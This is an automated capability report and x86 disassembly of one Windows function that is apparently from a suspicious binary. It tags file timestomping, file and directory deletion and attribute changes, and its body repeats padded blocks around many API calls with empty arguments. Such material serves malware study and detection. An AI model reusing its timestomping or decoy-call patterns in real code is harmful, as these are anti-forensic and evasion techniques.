Function at 0x4105f6
Capabilities:
Allocate thread local storage
Delete directory
Delete file
Get common file path
Get graphical window text
Read file on windows
Resume thread
Set console window title
Set current directory
Set environment variable
Set file attributes
Suspend thread
Timestomp file
Write file on windows

Disassembly:
mov eax, 0x449520
call fcn.00448b30
sub esp, 0x10
push ebx
push esi
lea eax, [ebp + 8]
xor esi, esi
test eax, eax
push edi
jne 0x4112a1
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ebx, dword [sym.imp.MSVCRT.dll_toupper]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410654
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410654
cmp byte [ebp - 0x13], 0x3a
jne 0x410654
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410692
call esi
test eax, eax
je 0x41067e
cmp byte [ebp - 0xf], 0x3a
jne 0x41067e
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x4106a6
call esi
test eax, eax
je 0x4106a6
cmp byte [ebp - 0xf], 0x3a
jne 0x4106a6
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4106c0
cmp byte [ebp - 0xf], 0x3a
jne 0x4106c0
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4106ec
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4106ec
cmp byte [ebp - 0x13], 0x3a
jne 0x4106ec
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410724
call esi
test eax, eax
je 0x410710
cmp byte [ebp - 0xf], 0x3a
jne 0x410710
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410738
call esi
test eax, eax
je 0x410738
cmp byte [ebp - 0xf], 0x3a
jne 0x410738
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410752
cmp byte [ebp - 0xf], 0x3a
jne 0x410752
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x41077e
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x41077e
cmp byte [ebp - 0x13], 0x3a
jne 0x41077e
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x4107b6
call esi
test eax, eax
je 0x4107a2
cmp byte [ebp - 0xf], 0x3a
jne 0x4107a2
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x4107ca
call esi
test eax, eax
je 0x4107ca
cmp byte [ebp - 0xf], 0x3a
jne 0x4107ca
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4107e4
cmp byte [ebp - 0xf], 0x3a
jne 0x4107e4
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenEventW]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x41081e
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x41081e
cmp byte [ebp - 0x13], 0x3a
jne 0x41081e
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410856
call esi
test eax, eax
je 0x410842
cmp byte [ebp - 0xf], 0x3a
jne 0x410842
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x41086a
call esi
test eax, eax
je 0x41086a
cmp byte [ebp - 0xf], 0x3a
jne 0x41086a
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410884
cmp byte [ebp - 0xf], 0x3a
jne 0x410884
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4108bb
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4108bb
cmp byte [ebp - 0x13], 0x3a
jne 0x4108bb
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x4108f3
call esi
test eax, eax
je 0x4108df
cmp byte [ebp - 0xf], 0x3a
jne 0x4108df
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410907
call esi
test eax, eax
je 0x410907
cmp byte [ebp - 0xf], 0x3a
jne 0x410907
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410921
cmp byte [ebp - 0xf], 0x3a
jne 0x410921
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x41094f
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x41094f
cmp byte [ebp - 0x13], 0x3a
jne 0x41094f
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410987
call esi
test eax, eax
je 0x410973
cmp byte [ebp - 0xf], 0x3a
jne 0x410973
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x41099b
call esi
test eax, eax
je 0x41099b
cmp byte [ebp - 0xf], 0x3a
jne 0x41099b
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4109b5
cmp byte [ebp - 0xf], 0x3a
jne 0x4109b5
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4109e9
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4109e9
cmp byte [ebp - 0x13], 0x3a
jne 0x4109e9
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410a21
call esi
test eax, eax
je 0x410a0d
cmp byte [ebp - 0xf], 0x3a
jne 0x410a0d
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410a35
call esi
test eax, eax
je 0x410a35
cmp byte [ebp - 0xf], 0x3a
jne 0x410a35
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410a4f
cmp byte [ebp - 0xf], 0x3a
jne 0x410a4f
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410a7d
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410a7d
cmp byte [ebp - 0x13], 0x3a
jne 0x410a7d
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410ab5
call esi
test eax, eax
je 0x410aa1
cmp byte [ebp - 0xf], 0x3a
jne 0x410aa1
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410ac9
call esi
test eax, eax
je 0x410ac9
cmp byte [ebp - 0xf], 0x3a
jne 0x410ac9
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410ae3
cmp byte [ebp - 0xf], 0x3a
jne 0x410ae3
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410b0f
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410b0f
cmp byte [ebp - 0x13], 0x3a
jne 0x410b0f
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410b47
call esi
test eax, eax
je 0x410b33
cmp byte [ebp - 0xf], 0x3a
jne 0x410b33
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410b5b
call esi
test eax, eax
je 0x410b5b
cmp byte [ebp - 0xf], 0x3a
jne 0x410b5b
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410b75
cmp byte [ebp - 0xf], 0x3a
jne 0x410b75
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410ba3
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410ba3
cmp byte [ebp - 0x13], 0x3a
jne 0x410ba3
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410bdb
call esi
test eax, eax
je 0x410bc7
cmp byte [ebp - 0xf], 0x3a
jne 0x410bc7
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410bef
call esi
test eax, eax
je 0x410bef
cmp byte [ebp - 0xf], 0x3a
jne 0x410bef
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410c09
cmp byte [ebp - 0xf], 0x3a
jne 0x410c09
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410c33
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410c33
cmp byte [ebp - 0x13], 0x3a
jne 0x410c33
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410c6b
call esi
test eax, eax
je 0x410c57
cmp byte [ebp - 0xf], 0x3a
jne 0x410c57
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410c7f
call esi
test eax, eax
je 0x410c7f
cmp byte [ebp - 0xf], 0x3a
jne 0x410c7f
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410c99
cmp byte [ebp - 0xf], 0x3a
jne 0x410c99
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410cc8
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410cc8
cmp byte [ebp - 0x13], 0x3a
jne 0x410cc8
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410d00
call esi
test eax, eax
je 0x410cec
cmp byte [ebp - 0xf], 0x3a
jne 0x410cec
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410d14
call esi
test eax, eax
je 0x410d14
cmp byte [ebp - 0xf], 0x3a
jne 0x410d14
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410d2e
cmp byte [ebp - 0xf], 0x3a
jne 0x410d2e
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410d5c
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410d5c
cmp byte [ebp - 0x13], 0x3a
jne 0x410d5c
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410d94
call esi
test eax, eax
je 0x410d80
cmp byte [ebp - 0xf], 0x3a
jne 0x410d80
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410da8
call esi
test eax, eax
je 0x410da8
cmp byte [ebp - 0xf], 0x3a
jne 0x410da8
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410dc2
cmp byte [ebp - 0xf], 0x3a
jne 0x410dc2
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410df0
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410df0
cmp byte [ebp - 0x13], 0x3a
jne 0x410df0
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410e28
call esi
test eax, eax
je 0x410e14
cmp byte [ebp - 0xf], 0x3a
jne 0x410e14
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410e3c
call esi
test eax, eax
je 0x410e3c
cmp byte [ebp - 0xf], 0x3a
jne 0x410e3c
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410e56
cmp byte [ebp - 0xf], 0x3a
jne 0x410e56
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410e82
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410e82
cmp byte [ebp - 0x13], 0x3a
jne 0x410e82
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410eba
call esi
test eax, eax
je 0x410ea6
cmp byte [ebp - 0xf], 0x3a
jne 0x410ea6
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410ece
call esi
test eax, eax
je 0x410ece
cmp byte [ebp - 0xf], 0x3a
jne 0x410ece
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410ee8
cmp byte [ebp - 0xf], 0x3a
jne 0x410ee8
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410f18
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410f18
cmp byte [ebp - 0x13], 0x3a
jne 0x410f18
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410f50
call esi
test eax, eax
je 0x410f3c
cmp byte [ebp - 0xf], 0x3a
jne 0x410f3c
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x410f64
call esi
test eax, eax
je 0x410f64
cmp byte [ebp - 0xf], 0x3a
jne 0x410f64
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x410f7e
cmp byte [ebp - 0xf], 0x3a
jne 0x410f7e
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenEventA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x410fb7
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x410fb7
cmp byte [ebp - 0x13], 0x3a
jne 0x410fb7
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x410fef
call esi
test eax, eax
je 0x410fdb
cmp byte [ebp - 0xf], 0x3a
jne 0x410fdb
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x411003
call esi
test eax, eax
je 0x411003
cmp byte [ebp - 0xf], 0x3a
jne 0x411003
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x41101d
cmp byte [ebp - 0xf], 0x3a
jne 0x41101d
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x41104c
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x41104c
cmp byte [ebp - 0x13], 0x3a
jne 0x41104c
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x411084
call esi
test eax, eax
je 0x411070
cmp byte [ebp - 0xf], 0x3a
jne 0x411070
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x411098
call esi
test eax, eax
je 0x411098
cmp byte [ebp - 0xf], 0x3a
jne 0x411098
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4110b2
cmp byte [ebp - 0xf], 0x3a
jne 0x4110b2
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4110de
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4110de
cmp byte [ebp - 0x13], 0x3a
jne 0x4110de
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x411116
call esi
test eax, eax
je 0x411102
cmp byte [ebp - 0xf], 0x3a
jne 0x411102
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x41112a
call esi
test eax, eax
je 0x41112a
cmp byte [ebp - 0xf], 0x3a
jne 0x41112a
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x411144
cmp byte [ebp - 0xf], 0x3a
jne 0x411144
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x411174
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x411174
cmp byte [ebp - 0x13], 0x3a
jne 0x411174
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x4111ac
call esi
test eax, eax
je 0x411198
cmp byte [ebp - 0xf], 0x3a
jne 0x411198
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x4111c0
call esi
test eax, eax
je 0x4111c0
cmp byte [ebp - 0xf], 0x3a
jne 0x4111c0
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4111da
cmp byte [ebp - 0xf], 0x3a
jne 0x4111da
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x41123b
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x41123b
cmp byte [ebp - 0x13], 0x3a
jne 0x41123b
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x411273
call esi
test eax, eax
je 0x41125f
cmp byte [ebp - 0xf], 0x3a
jne 0x41125f
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x411287
call esi
test eax, eax
je 0x411287
cmp byte [ebp - 0xf], 0x3a
jne 0x411287
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4112a1
cmp byte [ebp - 0xf], 0x3a
jne 0x4112a1
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0x20
lea ecx, [ebp - 0x14]
pop ebx
mov dword [ebp - 0x10], 0x30
mov esi, ebx
call fcn.00434ecb
mov edi, dword [ebp + 8]
and dword [ebp - 4], 0
push edi
push ebx
push 0x30
lea ecx, [ebp - 0x14]
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 0x18
lea ecx, [ebp - 0x14]
pop esi
push edi
push esi
push 0x30
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 8
lea ecx, [ebp - 0x14]
pop esi
push edi
push esi
push 0x30
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 4
lea ecx, [ebp - 0x14]
pop esi
push edi
push esi
push 0x30
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push edi
push ebx
push ebx
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], ebx
mov esi, ebx
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 0x18
lea ecx, [ebp - 0x14]
pop esi
push edi
push esi
push ebx
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 8
lea ecx, [ebp - 0x14]
pop esi
push edi
push esi
push ebx
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 4
lea ecx, [ebp - 0x14]
pop esi
push edi
push esi
push ebx
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 0x10
lea ecx, [ebp - 0x14]
pop eax
mov esi, ebx
push edi
push ebx
push eax
mov dword [ebp - 0x10], eax
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 0x18
lea ecx, [ebp - 0x14]
pop esi
push edi
push esi
push 0x10
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 8
lea ecx, [ebp - 0x14]
pop esi
push edi
push esi
push 0x10
call fcn.00434ef7
test eax, eax
jne 0x4113b5
push 4
lea ecx, [ebp - 0x14]
pop esi
push edi
push esi
push 0x10
call fcn.00434ef7
test eax, eax
jne 0x4113b5
xor esi, esi
and dword [ebp - 0x1c], 0
and dword [ebp - 0x18], 0
test esi, esi
je 0x4113f1
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
push esi
push dword [ebp - 0x10]
call fcn.00434f35
test eax, eax
je 0x4113f1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0x10]
push eax
push dword [ebp - 0x1c]
mov dword [ecx], eax
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00434ef0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc